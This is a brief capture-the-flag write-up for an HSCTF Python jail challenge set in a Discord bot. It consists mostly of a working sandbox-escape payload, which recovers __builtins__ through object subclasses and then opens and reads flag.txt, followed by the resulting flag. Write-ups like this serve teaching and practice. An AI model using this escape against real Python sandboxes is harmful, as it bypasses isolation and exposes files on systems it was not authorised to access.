Retrieve __builtins__:```__builtins__ = [t for t in ().__class__.__bases__[0].__subclasses__() if 'warning' in t.__name__][0]()._module.__builtins__```
Now we can use the open function to read the flag:```__builtins__['print']('H4H4 PWNED BY TOMER!')return __builtins__['open']('flag.txt', 'r').read()```
And there it is:```H4H4 PWNED BY TOMER!hsctf{discord_bot_pyjail_owo}```